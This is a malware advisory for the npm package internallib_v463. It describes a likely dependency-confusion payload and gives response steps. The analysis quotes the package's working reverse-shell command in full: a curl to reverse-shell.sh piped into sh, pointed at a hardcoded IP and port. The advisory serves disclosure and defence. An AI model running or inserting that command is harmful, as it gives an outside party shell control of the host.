internallib_v463npm
Advisory published Updated
internallib_v463 is a confirmed malicious npm package (MAL-2026-16481) that executes malicious code on install (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v463 (npm)
What this malware does
index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a console.log("Primeiro PWN") string, consistent with hostile intent rather than a legitimate utility. The package name (internallib_v463) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for internallib_v463 (version 1.0.2).
If you installed it — respond
Remove internallib_v463 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v463 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v463-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.